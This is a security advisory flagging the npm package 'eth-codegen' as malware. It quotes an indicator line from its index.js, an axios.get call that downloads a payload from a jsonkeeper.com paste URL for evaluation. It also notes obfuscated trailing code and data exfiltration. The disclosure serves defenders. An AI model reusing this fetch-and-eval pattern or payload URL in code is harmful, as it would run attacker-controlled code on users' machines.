GCVE-110-OSM-2026-9562

Advisory PublishedCVSS 9.6/10

Vulnetix · Advisory published August 2, 2026

Malicious package detected. Behaviors: data exfiltration, network activity, obfuscated code. ENTRY index.js (default-index: index.js) DESTINATION - 2 exfil (custom-c2) (values recorded in verified_iocs) EXFIL - Fetch and Eval/Exec in index.js: "axios.get( 'https://www.jsonkeeper.com/b/VYFER' ); if (!res || !res.data) return..." - Payload Download from Paste Service in index.js: "jsonkeeper.com" - Network Request in index.js: "axios.get(" OBFUSCATION - IOCs Found in Deobfuscated Code in index.js - Trailing Code After Module Exports in index.js: "module.exports = leanhooksPlugin; a" - recovered 1 urls, 1 domains, 1 _domainCandidates from decoded/deobfuscated content PAYLOAD FILES index.js

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Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

9.6/10

Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Products

Vendor	Product	Versions	Platforms
unknown	eth-codegen	all (affected)	—

References

Malicious npm package: eth-codegen

advisory

vendor

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